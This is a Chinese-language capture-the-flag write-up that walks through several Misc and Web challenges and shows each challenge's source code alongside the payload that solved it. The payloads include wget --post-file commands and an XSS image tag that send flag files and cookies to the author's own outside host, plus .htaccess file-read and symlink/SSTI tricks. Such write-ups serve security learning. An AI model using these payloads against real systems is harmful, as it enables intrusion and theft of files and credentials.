這次Web破台,可是又變成一人比賽

我太難了

隊伍一樣是 Starburst Kiwawa

Misc

Execgen

題目是一個 bash script
會讀取一行輸入,在前面加上#!
然後最後面加上一些垃圾
最後再執行

# create the script, easy!
read -r script

# oh, don't forget to add watermark!
script+='(created by execgen)'

# run the script for you, sweet!
tmp=$(mktemp)
echo "#!$script" > "$tmp"
chmod 0755 "$tmp"
out=$("$tmp")
echo "$out"
rm "$tmp"

去翻execve的linux manual
在Interpreter scripts的Note的地方可以看到255個字元以後都會忽視掉
所以payload長這樣

/bin/cat /home/chal//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////flag

FLAG{t0o0oo_m4ny_w4ys_t0_g37_fl4g}

Execgen-safe

是上一題的 revenge
只多了一個 regex

regex=’^[A-Za-z0-9 /]*$’

可以看到有允許/存在
所以用同樣的 payload 就好==

FLAG{7h3_5p4c3_i5_l1m1t3d}

Veronese

題目是一個 Flask 的 Web server
有兩個 route 分別是 /to_image/exec
前者要你上傳叫 code 的檔案並且把裡面的文字轉換成圖片
而後者除了把 code 轉換成圖片外
會再把圖片轉回文字
然後確認文字是不是一個 Python 的 doc string
如果是的話,則執行一開始上傳的 code

ACCEPTABLE_ASCII = " 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"

def texts_to_image(texts: Union[list[str], list[bytes]],
                   rows: int = 3,
                   cols: int = MAX_LEN) -> Optional[Image.Image]:
    img = Image.new("RGB", (cols * FONT_WIDTH, rows * FONT_HEIGHT),
                    (255, 255, 255))

    draw = ImageDraw.Draw(img)
    font = ImageFont.truetype(FONT_FILE, FONT_SIZE)
    test = []
    for i, s in enumerate(texts):
        if i == rows:
            return None
        if isinstance(s, bytes):
            try:
                s = s.decode('ascii')
                test.append(s)
            except Exception as e:
                return None
        if len(s) > cols:
            return None
        draw.text((0, i * FONT_HEIGHT), s, (0, 0, 0), font)
    return img

def image_to_texts(img: Image.Image, rows: int = 3, cols: int = MAX_LEN) -> list[str]:
    char_map : Dict[str, Image.Image] = {}
    for char in ACCEPTABLE_ASCII:
        char_map[char] = texts_to_image([char], 1, 1)

    texts : list[str] = []
    for h in range(rows):
        texts.append("")
        for w in range(cols):
            target_img = img.crop(
                (w * FONT_WIDTH, h * FONT_HEIGHT, w * FONT_WIDTH + FONT_WIDTH,
                 h * FONT_HEIGHT + FONT_HEIGHT))
            for char, char_img in char_map.items():
                if is_same_image(char_img, target_img):
                    texts[-1] += char
                    break
        texts[-1] = texts[-1].strip()
    return texts

def is_docstring(texts: list[str]) -> bool:
    if len(texts) != 3:
        return False
    if texts[0] != "'''":
        return False
    if texts[2] != "'''":
        return False
    if "'" in texts[1]:
        return False
    return True

主要的關鍵是 image_to_text
他會先把 ACCEPTABLE_ASCII 都先轉換成圖片,然後再把原本圖片去分割一個一個去比對
如果沒有符合的則會直接略過
而我們的目標就是讓他轉過去再轉回來的時候會是合格的 doc

經過長久的測試後,發現如果有 p 這個字,會使得轉換圖片後下面那行的字被蓋到
導致下面那個字被忽略
所以 payload 大概就長這樣

'''
   pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp
''';__import__("os").system("wget https://bot.itiscaleb.com --post-file /app/flag")

FLAG{Drawing_is_not_a_good_way_to_check_and_is_so_hard:(}

Web

Share

題目是 flask 的 web server
然後他會讓你上傳一個zip
然後會解壓縮到 /app/static

def safeJoin(_dir, _sub):
  filepath = path.join(_dir, _sub)
  realpath = path.realpath(filepath)
  if not _dir in path.commonpath((_dir, realpath)):
    return None
  return realpath

@app.route('/', methods=['GET'])
def index():
  if 'user' in session:
    return render_template('index.html', name=session['user'])
  return render_template('login.html')

@app.route('/upload', methods=['POST'])
def upload_file():
  if 'user' not in session:
    return 'Login first'
  if 'file' not in request.files or not request.files['file'].filename:
    return 'Missing file'

  _sub = session['user']
  file = request.files['file']
  tmppath = path.join('/tmp', urandom(16).hex())
  realpath = safeJoin('/app/static', _sub)
  if not realpath:
    return 'No path traversal'
  if not path.exists(realpath):
    mkdir(realpath)

  file.save(tmppath)
  returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode
  if returncode != 0:
    return 'Not a zip file'
  if not path.isfile(path.join(realpath, 'index.html')):
    return '"index.html" not found'
  return redirect(realpath[4:]+'/index.html', code=302)

總之就是塞 symlink 就能讀 flag 了

FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}

ShaRCE

上一題的 revenge
改了 flag 的讀取權限,導致只能透過 rce 去拿到 flag
稍微觀察會以為 username 可以塞 ../ 之類的去導致 path traversal
但由於他 safeJoin 有用 realpath 去檢查所以沒用
後來自己開了 docker 試了一下
發現假如有一個 zip 的檔案結構長這樣

- foo
 |- bar.txt

然後在解壓縮到的那個 directory 裡面有個叫 foo 的 symlink
他會把 bar.txt 丟到那個 symlink 連接的資料夾裡
也就是說我們可以先上傳一個連接到 /app/templates 的 symlink
然後再透過剛才的方法把自己的 index.html 丟進去
就可以透過 SSTI 達成 rce 了

FLAG{Pl3aS3_R3m3Mb3r_t0_c13Ar_y0uR_w3B5helL_XD}

Gist

題目是 php,並且可以讓你上傳檔案
並且會檢查裡面是否有 ph 的字樣

<?php
  if(isset($_FILES['file'])){
    $file = $_FILES['file'];

    if( preg_match('/ph/i', $file['name']) !== 0
     || preg_match('/ph/i', file_get_contents($file['tmp_name'])) !== 0
     || $file['size'] > 0x100
    ){ die("Bad file!"); }
    
    $uploadpath = 'upload/'.md5_file($file['tmp_name']).'/';
    @mkdir($uploadpath);
    move_uploaded_file($file['tmp_name'], $uploadpath.$file['name']);

    Header("Location: ".$uploadpath.$file['name']);
    die("Upload success!");
  }
  highlight_file(__FILE__);
?>

<form method=POST enctype=multipart/form-data>
  <input type=file name=file>
  <input type=submit value=Upload>
</form>

解法就是丟 .htaccess 上去就好了

ErrorDocument 404 %{file:/flag.txt}

FLAG{Wh4t_1f_th3_WAF_b3c0m3_preg_match(‘/h/i’,file_get_contents($file[‘tmp_name’]))!==0}

Trust

這題蠻簡單的阿
不懂為什麼沒什麼人解出來
總之是一題 xss
前端的 js 長這樣

<script>
      url.value = window.location;
      const get = path => {
        return path.split('/').reduce((obj, key) => obj[key], document.all)
      }
      const queryString = window.location.search;
      const urlParams = new URLSearchParams(queryString);
      key.value = urlParams.get('key');
      value.value = urlParams.get('value');
      container.innerHTML = urlParams.get('html').replace(`{{${get(urlParams.get('keypath'))}}}`, get(urlParams.get('valuepath')));
</script>

然後 bot 會帶有 flag 的 cookie 去逛網頁
get 函數其實就是取物件的屬性
get('0/ownerDocument/cookie') 這樣就能拿到cookie

payload:

/?html=<img src="https://bot.itiscaleb.com?flag={{name}}">&key=name&keypath=key/value&valuepath=0/ownerDocument/cookie

FLAG{n0w_Y0u’r3_tH3_m45T3r_0f_trU4T_tYp3_aNd_1Fr4m3!}

View

這題有夠複雜
首先它是一個 Python 內建的 HTTPServer
他 POST 會去執行一個 js 檔

from subprocess import run, PIPE
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
 def do_GET(self):
        self.set_headers()
        if self.path == '/backdoor':
          return self.do_not_call_this_function_its_only_for_debugging_purposes()
        return self.wfile.write(self.make_template(something))

    def do_POST(self):
        self.set_headers()
        data_string = self.rfile.read(int(self.headers['Content-Length'])).decode()[5:] # strip('urls=')
        ret = run(['node', 'backend.js', data_string], stdout=PIPE, text=True, timeout=5).stdout
        return self.wfile.write(self.make_template(ret))

    def set_headers(self):
        self.send_response(200)
        self.send_header("Content-type", "text/html")
        self.end_headers()

    def make_template(self, html):
        ...

    def do_not_call_this_function_its_only_for_debugging_purposes(self):
        if self.headers['host'] != 'localhost':
          return self.wfile.write(self.make_template(self.headers['host']))
        cmd = parse_qs(urlparse(self.path).query).get('cmd') or ['id']
        ret = run(cmd, stdout=PIPE, text=True, timeout=5).stdout
        return self.wfile.write(self.make_template(ret))
(async ()=>{
  const urls = process.argv[2].split(',')
  var cache = {}
  for(let url of urls){
    url = url.trim()
    let parsed_url= url.match(/https?:\/\/(?<host>[^\/]*)\/(?<path>.*)/)
    let { host, path } = parsed_url?.groups || {}
    if(!parsed_url || !host || host?.match(/localhost/i)){
      console.log(`<pre>Invalid URL: ${url}\n(doesn't match /https?:\\/\\/(?<host>[^\\/]*)\\/(?<path>.*)/)</pre>`)
      continue
    }
    cache[host] = cache[host] || {}
    await fetch(url).then(r=>r.text()).then(text=>{
      let result
      try{
        result = JSON.parse(text)
      }catch{
        result = text
      }
      cache[host][path] = result
      
    }).catch(()=>{})
  }
  ...
  
})()

會透過 , 去分割 url 並且fetch
而如果直接去 fetch 0.0.0.0 由於他 response header 沒有 Content-Length 會直接掛掉
可以觀察到有 JSON.parse()cache[host][path]=result 的存在
似乎是 Prototype Pollution
也就是說我們要想辦法讓 match() 分割出來的 host__proto__ 但是在正常的情況下其實是 fetch 到我們自己的 server
最後經過大量嘗試大概長這樣

http
://<myhost>/?host=http://__proto__/value

前面的 http\n:// 由於不符合regex所以不會被分割出來
並且 fetch 會把 \n 去掉
真正分割出來的是 __proto__value
所以這樣子我們就可以去控 host 去達成 prototype pollution

然後我們再回去看 Python 的 code
可以看到他 GET 是沒辦法 rce 的
因為 self.path 會包含 query
之後我稍微看了一下 HTTP server 的 source
會發現他執行 do_GET 那些函式其實是把 method 接在 do_ 後面然後去確認有沒有這個 attr
也就是說如果我們的method是 not_call_this_function_its_only_for_debugging_purposes 就可以直接rce

payload:

urls=http
://<myhost>/?payload={"host":"localhost"}&host=http://__proto__/headers,
http
://<myhost>/?payload=not_call_this_function_its_only_for_debugging_purposes&host=http://__proto__/method,
http://0.0.0.0:5000/?cmd=wget&cmd=http://<myhost>/&cmd=--post-file&cmd=/flag.txt

我直接架一個server讓他把參數當成回傳的東西
這樣比較方便

FLAG{Pr0toT0tYp3_P0lLuT10n_2_Th3_w1N;)}

結語

最後只拿到 21,但還是進了決賽
有夠扯